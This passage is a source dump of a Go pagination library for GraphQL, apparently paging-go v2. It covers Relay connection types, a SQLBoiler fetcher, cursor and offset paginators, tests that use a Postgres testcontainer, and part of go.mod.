upsertOpts.conflictTarget != "" { 62 | buf.WriteString(upsertOpts.conflictTarget) 63 | } else if len(conflict) != 0 { 64 | buf.WriteByte('(') 65 | buf.WriteString(strings.Join(conflict, ", ")) 66 | buf.WriteByte(')') 67 | } 68 | buf.WriteByte(' ') 69 | 70 | if !updateOnConflict || len(update) == 0 { 71 | buf.WriteString("DO NOTHING") 72 | } else { 73 | buf.WriteString("DO UPDATE SET ") 74 | 75 | if upsertOpts.updateSet != "" { 76 | buf.WriteString(upsertOpts.updateSet) 77 | } else { 78 | for i, v := range update { 79 | if len(v) == 0 { 80 | continue 81 | } 82 | if i != 0 { 83 | buf.WriteByte(',') 84 | } 85 | quoted := strmangle.IdentQuote(dia.LQ, dia.RQ, v) 86 | buf.WriteString(quoted) 87 | buf.WriteString(" = EXCLUDED.") 88 | buf.WriteString(quoted) 89 | } 90 | } 91 | } 92 | 93 | if len(ret) != 0 { 94 | buf.WriteString(" RETURNING ") 95 | buf.WriteString(strings.Join(ret, ", ")) 96 | } 97 | 98 | return buf.String() 99 | } 100 | -------------------------------------------------------------------------------- /connection.go: -------------------------------------------------------------------------------- 1 | package paging 2 | 3 | import "fmt" 4 | 5 | // Connection represents a Relay-compliant GraphQL connection. 6 | // It provides both edges (with cursors) and nodes (direct access) to support 7 | // different query patterns. This follows the Relay specification while being 8 | // flexible enough for various use cases. 9 | // 10 | // Type parameter T is the domain model type (e.g., User, Post, Organization). 11 | // 12 | // Example GraphQL schema: 13 | // 14 | // type UserConnection { 15 | // edges: [UserEdge!]! 16 | // nodes: [User!]! 17 | // pageInfo: PageInfo! 18 | // } 19 | type Connection[T any] struct { 20 | // Edges contains the list of edges, each with a cursor and node. 21 | // Use this when clients need individual item cursors. 22 | Edges []Edge[T] `json:"edges"` 23 | 24 | // Nodes provides direct access to the items without cursor overhead. 25 | // Use this for simpler queries that only need the data. 26 | Nodes []T `json:"nodes"` 27 | 28 | // PageInfo contains pagination metadata (hasNextPage, cursors, etc.) 29 | PageInfo PageInfo `json:"pageInfo"` 30 | } 31 | 32 | // Edge represents a Relay-compliant edge in a connection. 33 | // Each edge contains a cursor (for pagination) and the node (actual data). 34 | // 35 | // Type parameter T is the domain model type. 36 | // 37 | // Example GraphQL schema: 38 | // 39 | // type UserEdge { 40 | // cursor: String! 41 | // node: User! 42 | // } 43 | type Edge[T any] struct { 44 | // Cursor is an opaque string that marks this item's position in the list. 45 | // Clients can use this cursor to resume pagination from this point. 46 | Cursor string `json:"cursor"` 47 | 48 | // Node is the actual data item. 49 | Node T `json:"node"` 50 | } 51 | 52 | // BuildConnection creates a Connection from a slice of source items. 53 | // It handles transformation from database models to domain models and 54 | // automatically generates cursors for each item. 55 | // 56 | // Type parameters: 57 | // - From: Source type (e.g., SQLBoiler model, database row) 58 | // - To: Target type (e.g., domain model, GraphQL type) 59 | // 60 | // Parameters: 61 | // - items: Slice of source items to transform 62 | // - pageInfo: Pagination metadata (hasNextPage, totalCount, etc.) 63 | // - cursorEncoder: Function that generates a cursor for each item 64 | // - transform: Function that converts From -> To (can return error) 65 | // 66 | // Returns the built Connection or an error if transformation fails. 67 | // 68 | // Example usage: 69 | // 70 | // conn, err := paging.BuildConnection( 71 | // dbRecords, 72 | // pageInfo, 73 | // func(i int, item *models.User) string { 74 | // return offset.EncodeCursor(startOffset + i + 1) 75 | // }, 76 | // func(item *models.User) (*domain.User, error) { 77 | // return toDomainUser(item) 78 | // }, 79 | // ) 80 | func BuildConnection[From any, To any]( 81 | items []From, 82 | pageInfo PageInfo, 83 | cursorEncoder func(index int, item From) string, 84 | transform func(From) (To, error), 85 | ) (*Connection[To], error) { 86 | conn := &Connection[To]{ 87 | Nodes: make([]To, 0, len(items)), 88 | Edges: make([]Edge[To], 0, len(items)), 89 | PageInfo: pageInfo, 90 | } 91 | 92 | for i, item := range items { 93 | transformed, err := transform(item) 94 | if err != nil { 95 | return nil, fmt.Errorf("transform item at index %d: %w", i, err) 96 | } 97 | 98 | cursor := cursorEncoder(i, item) 99 | conn.Nodes = append(conn.Nodes, transformed) 100 | conn.Edges = append(conn.Edges, Edge[To]{ 101 | Cursor: cursor, 102 | Node: transformed, 103 | }) 104 | } 105 | 106 | return conn, nil 107 | } 108 | -------------------------------------------------------------------------------- /tests/helpers_test.go: -------------------------------------------------------------------------------- 1 | package paging_test 2 | 3 | import ( 4 | "context" 5 | "database/sql" 6 | "fmt" 7 | "time" 8 | 9 | "github.com/google/uuid" 10 | ) 11 | 12 | // SeedUsers creates test users in the database and returns their IDs. 13 | func SeedUsers(ctx context.Context, db *sql.DB, count int) ([]string, error) { 14 | userIDs := make([]string, count) 15 | 16 | for i := 0; i < count; i++ { 17 | id := uuid.New().String() 18 | age := 20 + (i % 60) // Ages between 20-79 19 | 20 | query := ` 21 | INSERT INTO users (id, email, name, age, is_active, created_at, updated_at) 22 | VALUES ($1, $2, $3, $4, $5, $6, $7) 23 | ` 24 | 25 | // Stagger created_at times to test ordering 26 | createdAt := time.Now().Add(-time.Duration(count-i) * time.Hour) 27 | 28 | _, err := db.ExecContext(ctx, query, 29 | id, 30 | fmt.Sprintf("user%d@example.com", i+1), 31 | fmt.Sprintf("User %d", i+1), 32 | age, 33 | i%3 != 0, // Most users active, some inactive 34 | createdAt, 35 | createdAt, 36 | ) 37 | if err != nil { 38 | return nil, fmt.Errorf("failed to seed user %d: %w", i, err) 39 | } 40 | 41 | userIDs[i] = id 42 | } 43 | 44 | return userIDs, nil 45 | } 46 | 47 | // SeedPosts creates test posts for the given users and returns their IDs. 48 | func SeedPosts(ctx context.Context, db *sql.DB, userIDs []string, postsPerUser int) ([]string, error) { 49 | if len(userIDs) == 0 { 50 | return nil, fmt.Errorf("no user IDs provided") 51 | } 52 | 53 | postIDs := make([]string, 0, len(userIDs)*postsPerUser) 54 | 55 | for _, userID := range userIDs { 56 | for i := 0; i < postsPerUser; i++ { 57 | id := uuid.New().String() 58 | content := fmt.Sprintf("This is the content for post %s", id) 59 | 60 | query := ` 61 | INSERT INTO posts (id, user_id, title, content, view_count, published_at, created_at, updated_at) 62 | VALUES ($1, $2, $3, $4, $5, $6, $7, $8) 63 | ` 64 | 65 | createdAt := time.Now().Add(-time.Duration(len(userIDs)*postsPerUser-len(postIDs)) * time.Hour) 66 | 67 | // Some posts published, some not (drafts) 68 | var publishedAt *time.Time 69 | if i%3 != 0 { 70 | pubTime := createdAt.Add(time.Hour) 71 | publishedAt = &pubTime 72 | } 73 | 74 | _, err := db.ExecContext(ctx, query, 75 | id, 76 | userID, 77 | fmt.Sprintf("Post %d by user %s", i+1, userID[:8]), 78 | content, 79 | i*10, // Varying view counts 80 | publishedAt, 81 | createdAt, 82 | createdAt, 83 | ) 84 | if err != nil { 85 | return nil, fmt.Errorf("failed to seed post for user %s: %w", userID, err) 86 | } 87 | 88 | postIDs = append(postIDs, id) 89 | } 90 | } 91 | 92 | return postIDs, nil 93 | } 94 | 95 | // CleanupTables truncates all test tables. 96 | // Useful for cleanup between tests when sharing a database instance. 97 | func CleanupTables(ctx context.Context, db *sql.DB) error { 98 | // Truncate in correct order (posts first due to FK constraint) 99 | tables := []string{"posts", "users"} 100 | 101 | for _, table := range tables { 102 | query := fmt.Sprintf("TRUNCATE TABLE %s CASCADE", table) 103 | if _, err := db.ExecContext(ctx, query); err != nil { 104 | return fmt.Errorf("failed to truncate table %s: %w", table, err) 105 | } 106 | } 107 | 108 | return nil 109 | } 110 | 111 | // TrimToLimit returns items[:limit] if len(items) > limit, otherwise returns items unchanged. 112 | // Used for N+1 pattern comparisons where we fetch LIMIT+1 but only want to compare LIMIT items. 113 | func TrimToLimit[T any](items []T, limit int) []T { 114 | if len(items) > limit { 115 | return items[:limit] 116 | } 117 | return items 118 | } 119 | 120 | -------------------------------------------------------------------------------- /sqlboiler/fetcher.go: -------------------------------------------------------------------------------- 1 | // Package sqlboiler provides adapters for integrating SQLBoiler with paging-go. 2 | // 3 | // This package provides a generic Fetcher[T] implementation that works with 4 | // SQLBoiler-generated models, plus strategy-specific query builders for 5 | // offset and cursor pagination. 6 | // 7 | // The design separates ORM integration (generic) from pagination strategy 8 | // (specific), making it easy to: 9 | // 1. Add new pagination strategies without changing the fetcher 10 | // 2. Port to other ORMs (GORM, sqlc, etc.) by implementing Fetcher[T] 11 | // 12 | // Example usage: 13 | // 14 | // // Create fetcher (ORM-specific, strategy-agnostic) 15 | // fetcher := sqlboiler.NewFetcher( 16 | // func(ctx context.Context, mods ...qm.QueryMod) ([]*models.User, error) { 17 | // return models.Users(mods...).All(ctx, db) 18 | // }, 19 | // func(ctx context.Context, mods ...qm.QueryMod) (int64, error) { 20 | // return models.Users(mods...).Count(ctx, db) 21 | // }, 22 | // ) 23 | // 24 | // // Use with offset pagination 25 | // offsetPaginator := offset.NewPaginator(fetcher, ...) 26 | // 27 | // // Or use with cursor pagination (Phase 2) 28 | // cursorPaginator := cursor.NewPaginator(fetcher, ...) 29 | package sqlboiler 30 | 31 | import ( 32 | "context" 33 | 34 | "github.com/aarondl/sqlboiler/v4/queries/qm" 35 | "github.com/nrfta/paging-go/v2" 36 | ) 37 | 38 | // QueryFunc executes a SQLBoiler query and returns results. 39 | // This is ORM-specific but strategy-agnostic. 40 | // 41 | // Type parameter T is the SQLBoiler model type (e.g., *models.User). 42 | type QueryFunc[T any] func(ctx context.Context, mods ...qm.QueryMod) ([]T, error) 43 | 44 | // CountFunc executes a SQLBoiler count query. 45 | // This is ORM-specific but strategy-agnostic. 46 | type CountFunc func(ctx context.Context, mods ...qm.QueryMod) (int64, error) 47 | 48 | // Fetcher implements paging.Fetcher[T] for SQLBoiler queries. 49 | // It's generic and works with any pagination strategy by converting 50 | // FetchParams into SQLBoiler query mods. 51 | // 52 | // The actual conversion logic is strategy-specific and provided by 53 | // functions like OffsetToQueryMods() or CursorToQueryMods() (Phase 2). 54 | type Fetcher[T any] struct { 55 | queryFunc QueryFunc[T] 56 | countFunc CountFunc 57 | queryModsFn func(paging.FetchParams) []qm.QueryMod 58 | } 59 | 60 | // NewFetcher creates a new SQLBoiler fetcher with a strategy-specific query builder. 61 | // 62 | // Parameters: 63 | // - queryFunc: Function that executes SQLBoiler queries with query mods 64 | // - countFunc: Function that counts total records with query mods 65 | // - queryModsFn: Strategy-specific function to convert FetchParams to QueryMods 66 | // 67 | // Example (offset pagination): 68 | // 69 | // fetcher := sqlboiler.NewFetcher( 70 | // func(ctx context.Context, mods ...qm.QueryMod) ([]*models.User, error) { 71 | // return models.Users(mods...).All(ctx, db) 72 | // }, 73 | // func(ctx context.Context, mods ...qm.QueryMod) (int64, error) { 74 | // return models.Users(mods...).Count(ctx, db) 75 | // }, 76 | // sqlboiler.OffsetToQueryMods, // ← Strategy-specific! 77 | // ) 78 | func NewFetcher[T any]( 79 | queryFunc QueryFunc[T], 80 | countFunc CountFunc, 81 | queryModsFn func(paging.FetchParams) []qm.QueryMod, 82 | ) paging.Fetcher[T] { 83 | return &Fetcher[T]{ 84 | queryFunc: queryFunc, 85 | countFunc: countFunc, 86 | queryModsFn: queryModsFn, 87 | } 88 | } 89 | 90 | // Fetch retrieves items from the database using SQLBoiler query mods. 91 | // The query mods are built using the strategy-specific queryModsFn. 92 | func (f *Fetcher[T]) Fetch(ctx context.Context, params paging.FetchParams) ([]T, error) { 93 | mods := f.queryModsFn(params) 94 | return f.queryFunc(ctx, mods...) 95 | } 96 | 97 | // Count returns the total number of items matching the filters. 98 | // Note: Filter support will be added in a future phase. 99 | func (f *Fetcher[T]) Count(ctx context.Context, params paging.FetchParams) (int64, error) { 100 | return f.countFunc(ctx) 101 | } 102 | -------------------------------------------------------------------------------- /tests/container_test.go: -------------------------------------------------------------------------------- 1 | package paging_test 2 | 3 | import ( 4 | "context" 5 | "database/sql" 6 | "fmt" 7 | 8 | _ "github.com/lib/pq" 9 | "github.com/testcontainers/testcontainers-go" 10 | "github.com/testcontainers/testcontainers-go/modules/postgres" 11 | "github.com/testcontainers/testcontainers-go/wait" 12 | ) 13 | 14 | // Container represents a running PostgreSQL testcontainer. 15 | // It provides a fully configured PostgreSQL instance with tables and test data. 16 | type Container struct { 17 | Container *postgres.PostgresContainer 18 | DB *sql.DB 19 | ConnStr string 20 | } 21 | 22 | // SetupPostgres starts a PostgreSQL container with initialized tables. 23 | func SetupPostgres(ctx context.Context) (*Container, error) { 24 | // Start PostgreSQL container 25 | pgContainer, err := postgres.Run(ctx, 26 | "postgres:16-alpine", 27 | postgres.WithDatabase("testdb"), 28 | postgres.WithUsername("testuser"), 29 | postgres.WithPassword("testpass"), 30 | testcontainers.WithWaitStrategy( 31 | wait.ForLog("database system is ready to accept connections"). 32 | WithOccurrence(2), 33 | ), 34 | ) 35 | if err != nil { 36 | return nil, fmt.Errorf("failed to start PostgreSQL container: %w", err) 37 | } 38 | 39 | // Get connection string 40 | connStr, err := pgContainer.ConnectionString(ctx, "sslmode=disable") 41 | if err != nil { 42 | pgContainer.Terminate(ctx) 43 | return nil, fmt.Errorf("failed to get connection string: %w", err) 44 | } 45 | 46 | // Connect to database 47 | db, err := sql.Open("postgres", connStr) 48 | if err != nil { 49 | pgContainer.Terminate(ctx) 50 | return nil, fmt.Errorf("failed to connect to database: %w", err) 51 | } 52 | 53 | // Verify connection 54 | if err := db.PingContext(ctx); err != nil { 55 | db.Close() 56 | pgContainer.Terminate(ctx) 57 | return nil, fmt.Errorf("failed to ping database: %w", err) 58 | } 59 | 60 | // Create tables 61 | if err := createTables(ctx, db); err != nil { 62 | db.Close() 63 | pgContainer.Terminate(ctx) 64 | return nil, fmt.Errorf("failed to create tables: %w", err) 65 | } 66 | 67 | return &Container{ 68 | Container: pgContainer, 69 | DB: db, 70 | ConnStr: connStr, 71 | }, nil 72 | } 73 | 74 | // Terminate stops and removes the PostgreSQL container. 75 | func (c *Container) Terminate(ctx context.Context) error { 76 | if c.DB != nil { 77 | c.DB.Close() 78 | } 79 | if c.Container != nil { 80 | return c.Container.Terminate(ctx) 81 | } 82 | return nil 83 | } 84 | 85 | // createTables creates the test schema. 86 | // Tables are designed to test pagination features: 87 | // - users: Basic pagination with various data types 88 | // - posts: Sorting, filtering, and relationships 89 | func createTables(ctx context.Context, db *sql.DB) error { 90 | schema := ` 91 | -- Users table for basic pagination tests 92 | CREATE TABLE users ( 93 | id UUID PRIMARY KEY DEFAULT gen_random_uuid(), 94 | email VARCHAR(255) NOT NULL UNIQUE, 95 | name VARCHAR(255) NOT NULL, 96 | age INTEGER, 97 | is_active BOOLEAN DEFAULT true, 98 | created_at TIMESTAMP NOT NULL DEFAULT NOW(), 99 | updated_at TIMESTAMP NOT NULL DEFAULT NOW() 100 | ); 101 | 102 | -- Posts table for testing sorting and relationships 103 | CREATE TABLE posts ( 104 | id UUID PRIMARY KEY DEFAULT gen_random_uuid(), 105 | user_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, 106 | title VARCHAR(500) NOT NULL, 107 | content TEXT, 108 | view_count INTEGER DEFAULT 0, 109 | published_at TIMESTAMP, 110 | created_at TIMESTAMP NOT NULL DEFAULT NOW(), 111 | updated_at TIMESTAMP NOT NULL DEFAULT NOW() 112 | ); 113 | 114 | -- Indexes for efficient pagination queries 115 | CREATE INDEX idx_users_created_at ON users(created_at DESC, id DESC); 116 | CREATE INDEX idx_users_email ON users(email); 117 | CREATE INDEX idx_posts_user_id ON posts(user_id); 118 | CREATE INDEX idx_posts_created_at ON posts(created_at DESC, id DESC); 119 | CREATE INDEX idx_posts_published_at ON posts(published_at DESC NULLS LAST, id DESC); 120 | ` 121 | 122 | _, err := db.ExecContext(ctx, schema) 123 | return err 124 | } 125 | -------------------------------------------------------------------------------- /cursor/paginator.go: -------------------------------------------------------------------------------- 1 | package cursor 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/nrfta/paging-go/v2" 7 | ) 8 | 9 | // PageArgs represents pagination arguments. 10 | type PageArgs interface { 11 | GetFirst() *int 12 | GetAfter() *string 13 | GetSortBy() []paging.Sort 14 | } 15 | 16 | // Paginator implements paging.Paginator[T] for cursor-based pagination. 17 | type Paginator[T any] struct { 18 | fetcher paging.Fetcher[T] 19 | schema *Schema[T] 20 | } 21 | 22 | // New creates a cursor paginator that implements paging.Paginator[T]. 23 | // 24 | // Example: 25 | // 26 | // fetcher := sqlboiler.NewFetcher(queryFunc, countFunc, sqlboiler.CursorToQueryMods) 27 | // paginator := cursor.New(fetcher, schema) 28 | // result, err := paginator.Paginate(ctx, args, paging.WithMaxSize(100)) 29 | func New[T any](fetcher paging.Fetcher[T], schema *Schema[T]) paging.Paginator[T] { 30 | return &Paginator[T]{ 31 | fetcher: fetcher, 32 | schema: schema, 33 | } 34 | } 35 | 36 | // Paginate executes cursor-based pagination and returns a Page[T]. 37 | func (p *Paginator[T]) Paginate( 38 | ctx context.Context, 39 | args *paging.PageArgs, 40 | opts ...paging.PaginateOption, 41 | ) (*paging.Page[T], error) { 42 | // Apply page size config 43 | pageConfig := paging.ApplyPaginateOptions(args, opts...) 44 | limit := pageConfig.EffectiveLimit(args) 45 | 46 | // Get encoder for current sort 47 | encoder, err := p.schema.EncoderFor(args) 48 | if err != nil { 49 | return nil, err 50 | } 51 | 52 | // Decode cursor 53 | var cursorPos *paging.CursorPosition 54 | if args != nil && args.GetAfter() != nil { 55 | cursorPos, _ = encoder.Decode(*args.GetAfter()) 56 | } 57 | 58 | // Build ORDER BY 59 | orderBy := p.schema.BuildOrderBy(getSortBy(args)) 60 | 61 | // Fetch with N+1 pattern 62 | params := paging.FetchParams{ 63 | Limit: limit + 1, 64 | Cursor: cursorPos, 65 | OrderBy: orderBy, 66 | } 67 | items, err := p.fetcher.Fetch(ctx, params) 68 | if err != nil { 69 | return nil, err 70 | } 71 | 72 | // Detect hasNextPage and trim 73 | hasNextPage := len(items) > limit 74 | if hasNextPage { 75 | items = items[:limit] 76 | } 77 | 78 | // Build PageInfo 79 | pageInfo := buildCursorPageInfo(encoder, items, cursorPos, hasNextPage) 80 | 81 | return &paging.Page[T]{ 82 | Nodes: items, 83 | PageInfo: &pageInfo, 84 | Metadata: paging.Metadata{Strategy: "cursor"}, 85 | }, nil 86 | } 87 | 88 | // getSortBy safely extracts SortBy from args. 89 | func getSortBy(args *paging.PageArgs) []paging.Sort { 90 | if args == nil || args.GetSortBy() == nil { 91 | return nil 92 | } 93 | return args.GetSortBy() 94 | } 95 | 96 | // buildCursorPageInfo creates PageInfo for cursor-based pagination. 97 | func buildCursorPageInfo[T any]( 98 | encoder paging.CursorEncoder[T], 99 | items []T, 100 | currentCursor *paging.CursorPosition, 101 | hasNextPage bool, 102 | ) paging.PageInfo { 103 | return paging.PageInfo{ 104 | TotalCount: func() (*int, error) { 105 | return nil, nil 106 | }, 107 | 108 | StartCursor: func() (*string, error) { 109 | if len(items) == 0 { 110 | return nil, nil 111 | } 112 | return encoder.Encode(items[0]) 113 | }, 114 | 115 | EndCursor: func() (*string, error) { 116 | if len(items) == 0 { 117 | return nil, nil 118 | } 119 | return encoder.Encode(items[len(items)-1]) 120 | }, 121 | 122 | HasNextPage: func() (bool, error) { 123 | return hasNextPage, nil 124 | }, 125 | 126 | HasPreviousPage: func() (bool, error) { 127 | return currentCursor != nil, nil 128 | }, 129 | } 130 | } 131 | 132 | // BuildConnection transforms a Page[From] to a Connection[To] for GraphQL. 133 | // Uses schema's encoder to generate composite key cursors. 134 | // 135 | // Example: 136 | // 137 | // result, _ := paginator.Paginate(ctx, args, paging.WithMaxSize(100)) 138 | // conn, _ := cursor.BuildConnection(result, schema, toDomainUser) 139 | func BuildConnection[From any, To any]( 140 | page *paging.Page[From], 141 | schema *Schema[From], 142 | args *paging.PageArgs, 143 | transform func(From) (To, error), 144 | ) (*paging.Connection[To], error) { 145 | encoder, err := schema.EncoderFor(args) 146 | if err != nil { 147 | return nil, err 148 | } 149 | 150 | return paging.BuildConnection( 151 | page.Nodes, 152 | *page.PageInfo, 153 | func(i int, item From) string { 154 | cursor, _ := encoder.Encode(item) 155 | if cursor == nil { 156 | return "" 157 | } 158 | return *cursor 159 | }, 160 | transform, 161 | ) 162 | } 163 | -------------------------------------------------------------------------------- /offset/paginator_test.go: -------------------------------------------------------------------------------- 1 | package offset_test 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/nrfta/paging-go/v2" 7 | "github.com/nrfta/paging-go/v2/offset" 8 | 9 | . "github.com/onsi/ginkgo/v2" 10 | . "github.com/onsi/gomega" 11 | ) 12 | 13 | type testUser struct { 14 | ID int 15 | Name string 16 | } 17 | 18 | // mockFetcher creates a simple in-memory fetcher for testing 19 | func mockFetcher(totalCount int64, allItems []*testUser) paging.Fetcher[*testUser] { 20 | return &testFetcher{ 21 | totalCount: totalCount, 22 | allItems: allItems, 23 | } 24 | } 25 | 26 | type testFetcher struct { 27 | totalCount int64 28 | allItems []*testUser 29 | } 30 | 31 | func (f *testFetcher) Fetch(ctx context.Context, params paging.FetchParams) ([]*testUser, error) { 32 | start := params.Offset 33 | end := start + params.Limit 34 | if start >= len(f.allItems) { 35 | return []*testUser{}, nil 36 | } 37 | if end > len(f.allItems) { 38 | end = len(f.allItems) 39 | } 40 | return f.allItems[start:end], nil 41 | } 42 | 43 | func (f *testFetcher) Count(ctx context.Context, params paging.FetchParams) (int64, error) { 44 | return f.totalCount, nil 45 | } 46 | 47 | // generateTestUsers creates a slice of test users 48 | func generateTestUsers(count int) []*testUser { 49 | users := make([]*testUser, count) 50 | for i := 0; i < count; i++ { 51 | users[i] = &testUser{ID: i + 1, Name: "User"} 52 | } 53 | return users 54 | } 55 | 56 | var _ = Describe("Paginator", func() { 57 | var ( 58 | ctx context.Context 59 | fetcher paging.Fetcher[*testUser] 60 | paginator paging.Paginator[*testUser] 61 | ) 62 | 63 | BeforeEach(func() { 64 | ctx = context.Background() 65 | // Create 100 test users 66 | allUsers := generateTestUsers(100) 67 | fetcher = mockFetcher(100, allUsers) 68 | paginator = offset.New(fetcher) 69 | }) 70 | 71 | Describe("Basic functionality", func() { 72 | It("uses the default limit when no pageArgs.First is provided", func() { 73 | args := &paging.PageArgs{} 74 | 75 | page, err := paginator.Paginate(ctx, args) 76 | Expect(err).ToNot(HaveOccurred()) 77 | 78 | // Should return 50 items (default page size) 79 | Expect(page.Nodes).To(HaveLen(50)) 80 | 81 | totalCount, _ := page.PageInfo.TotalCount() 82 | Expect(*totalCount).To(Equal(100)) 83 | }) 84 | 85 | It("parses the pageArgs correctly", func() { 86 | first := 10 87 | args := &paging.PageArgs{ 88 | First: &first, 89 | After: offset.EncodeCursor(20), 90 | } 91 | 92 | page, err := paginator.Paginate(ctx, args) 93 | Expect(err).ToNot(HaveOccurred()) 94 | 95 | // Should return 10 items starting at offset 20 96 | Expect(page.Nodes).To(HaveLen(10)) 97 | Expect(page.Nodes[0].ID).To(Equal(21)) // offset 20 = ID 21 (1-indexed) 98 | }) 99 | 100 | It("creates a page info with correct pagination metadata", func() { 101 | first := 10 102 | args := &paging.PageArgs{ 103 | First: &first, 104 | After: offset.EncodeCursor(20), 105 | } 106 | 107 | page, err := paginator.Paginate(ctx, args) 108 | Expect(err).ToNot(HaveOccurred()) 109 | 110 | totalCount, _ := page.PageInfo.TotalCount() 111 | Expect(*totalCount).To(Equal(100)) 112 | 113 | hasNextPage, _ := page.PageInfo.HasNextPage() 114 | Expect(hasNextPage).To(Equal(true)) 115 | 116 | hasPreviousPage, _ := page.PageInfo.HasPreviousPage() 117 | Expect(hasPreviousPage).To(Equal(true)) 118 | 119 | startCursor, _ := page.PageInfo.StartCursor() 120 | Expect(startCursor).To(Equal(offset.EncodeCursor(0))) 121 | 122 | endCursor, _ := page.PageInfo.EndCursor() 123 | Expect(endCursor).To(Equal(offset.EncodeCursor(90))) 124 | }) 125 | }) 126 | 127 | Describe("PaginateOption", func() { 128 | It("should use WithDefaultSize when First is nil", func() { 129 | args := &paging.PageArgs{} 130 | 131 | page, err := paginator.Paginate(ctx, args, paging.WithDefaultSize(25)) 132 | Expect(err).ToNot(HaveOccurred()) 133 | Expect(page.Nodes).To(HaveLen(25)) 134 | }) 135 | 136 | It("should cap page size with WithMaxSize", func() { 137 | first := 500 138 | args := &paging.PageArgs{First: &first} 139 | 140 | page, err := paginator.Paginate(ctx, args, paging.WithMaxSize(100)) 141 | Expect(err).ToNot(HaveOccurred()) 142 | // Capped to 100, but only 100 total items exist 143 | Expect(page.Nodes).To(HaveLen(100)) 144 | }) 145 | 146 | It("should allow page size within MaxSize", func() { 147 | first := 50 148 | args := &paging.PageArgs{First: &first} 149 | 150 | page, err := paginator.Paginate(ctx, args, paging.WithMaxSize(100)) 151 | Expect(err).ToNot(HaveOccurred()) 152 | Expect(page.Nodes).To(HaveLen(50)) 153 | }) 154 | 155 | It("should cap large requests to DefaultMaxPageSize by default", func() { 156 | first := 5000 157 | args := &paging.PageArgs{First: &first} 158 | 159 | page, err := paginator.Paginate(ctx, args) 160 | Expect(err).ToNot(HaveOccurred()) 161 | // Capped to DefaultMaxPageSize (1000), but only 100 items exist 162 | Expect(page.Nodes).To(HaveLen(100)) 163 | }) 164 | }) 165 | }) 166 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/nrfta/paging-go/v2 2 | 3 | go 1.24.9 4 | 5 | require ( 6 | github.com/aarondl/null/v8 v8.1.3 7 | github.com/aarondl/sqlboiler/v4 v4.19.5 8 | github.com/aarondl/strmangle v0.0.9 9 | github.com/friendsofgo/errors v0.9.2 10 | github.com/google/uuid v1.6.0 11 | github.com/lib/pq v1.10.9 12 | github.com/onsi/ginkgo/v2 v2.27.3 13 | github.com/onsi/gomega v1.38.3 14 | github.com/testcontainers/testcontainers-go v0.40.0 15 | github.com/testcontainers/testcontainers-go/modules/postgres v0.40.0 16 | ) 17 | 18 | require ( 19 | dario.cat/mergo v1.0.2 // indirect 20 | github.com/Azure/go-ansiterm v0.0.0-20210617225240-d185dfc1b5a1 // indirect 21 | github.com/Masterminds/goutils v1.1.1 // indirect 22 | github.com/Masterminds/semver/v3 v3.4.0 // indirect 23 | github.com/Masterminds/sprig/v3 v3.2.2 // indirect 24 | github.com/Microsoft/go-winio v0.6.2 // indirect 25 | github.com/aarondl/inflect v0.0.2 // indirect 26 | github.com/aarondl/randomize v0.0.2 // indirect 27 | github.com/cenkalti/backoff/v4 v4.3.0 // indirect 28 | github.com/containerd/errdefs v1.0.0 // indirect 29 | github.com/containerd/errdefs/pkg v0.3.0 // indirect 30 | github.com/containerd/log v0.1.0 // indirect 31 | github.com/containerd/platforms v0.2.1 // indirect 32 | github.com/cpuguy83/dockercfg v0.3.2 // indirect 33 | github.com/davecgh/go-spew v1.1.1 // indirect 34 | github.com/distribution/reference v0.6.0 // indirect 35 | github.com/docker/docker v28.5.1+incompatible // indirect 36 | github.com/docker/go-connections v0.6.0 // indirect 37 | github.com/docker/go-units v0.5.0 // indirect 38 | github.com/ebitengine/purego v0.8.4 // indirect 39 | github.com/felixge/httpsnoop v1.0.4 // indirect 40 | github.com/fsnotify/fsnotify v1.5.4 // indirect 41 | github.com/go-logr/logr v1.4.3 // indirect 42 | github.com/go-logr/stdr v1.2.2 // indirect 43 | github.com/go-ole/go-ole v1.2.6 // indirect 44 | github.com/go-task/slim-sprig/v3 v3.0.0 // indirect 45 | github.com/gofrs/uuid v4.2.0+incompatible // indirect 46 | github.com/google/go-cmp v0.7.0 // indirect 47 | github.com/google/pprof v0.0.0-20251208000136-3d256cb9ff16 // indirect 48 | github.com/grpc-ecosystem/grpc-gateway/v2 v2.27.3 // indirect 49 | github.com/hashicorp/hcl v1.0.0 // indirect 50 | github.com/huandu/xstrings v1.3.2 // indirect 51 | github.com/imdario/mergo v0.3.13 // indirect 52 | github.com/inconshreveable/mousetrap v1.0.1 // indirect 53 | github.com/klauspost/compress v1.18.0 // indirect 54 | github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect 55 | github.com/magiconair/properties v1.8.10 // indirect 56 | github.com/mitchellh/copystructure v1.2.0 // indirect 57 | github.com/mitchellh/mapstructure v1.5.0 // indirect 58 | github.com/mitchellh/reflectwalk v1.0.2 // indirect 59 | github.com/moby/docker-image-spec v1.3.1 // indirect 60 | github.com/moby/go-archive v0.1.0 // indirect 61 | github.com/moby/patternmatcher v0.6.0 // indirect 62 | github.com/moby/sys/sequential v0.6.0 // indirect 63 | github.com/moby/sys/user v0.4.0 // indirect 64 | github.com/moby/sys/userns v0.1.0 // indirect 65 | github.com/moby/term v0.5.0 // indirect 66 | github.com/morikuni/aec v1.0.0 // indirect 67 | github.com/opencontainers/go-digest v1.0.0 // indirect 68 | github.com/opencontainers/image-spec v1.1.1 // indirect 69 | github.com/pelletier/go-toml v1.9.5 // indirect 70 | github.com/pelletier/go-toml/v2 v2.0.5 // indirect 71 | github.com/pkg/errors v0.9.1 // indirect 72 | github.com/pmezard/go-difflib v1.0.0 // indirect 73 | github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect 74 | github.com/shirou/gopsutil/v4 v4.25.6 // indirect 75 | github.com/shopspring/decimal v1.3.1 // indirect 76 | github.com/sirupsen/logrus v1.9.3 // indirect 77 | github.com/spf13/afero v1.9.2 // indirect 78 | github.com/spf13/cast v1.5.0 // indirect 79 | github.com/spf13/cobra v1.5.0 // indirect 80 | github.com/spf13/jwalterweatherman v1.1.0 // indirect 81 | github.com/spf13/pflag v1.0.5 // indirect 82 | github.com/spf13/viper v1.12.0 // indirect 83 | github.com/stretchr/testify v1.11.1 // indirect 84 | github.com/subosito/gotenv v1.4.1 // indirect 85 | github.com/tklauser/go-sysconf v0.3.12 // indirect 86 | github.com/tklauser/numcpus v0.6.1 // indirect 87 | 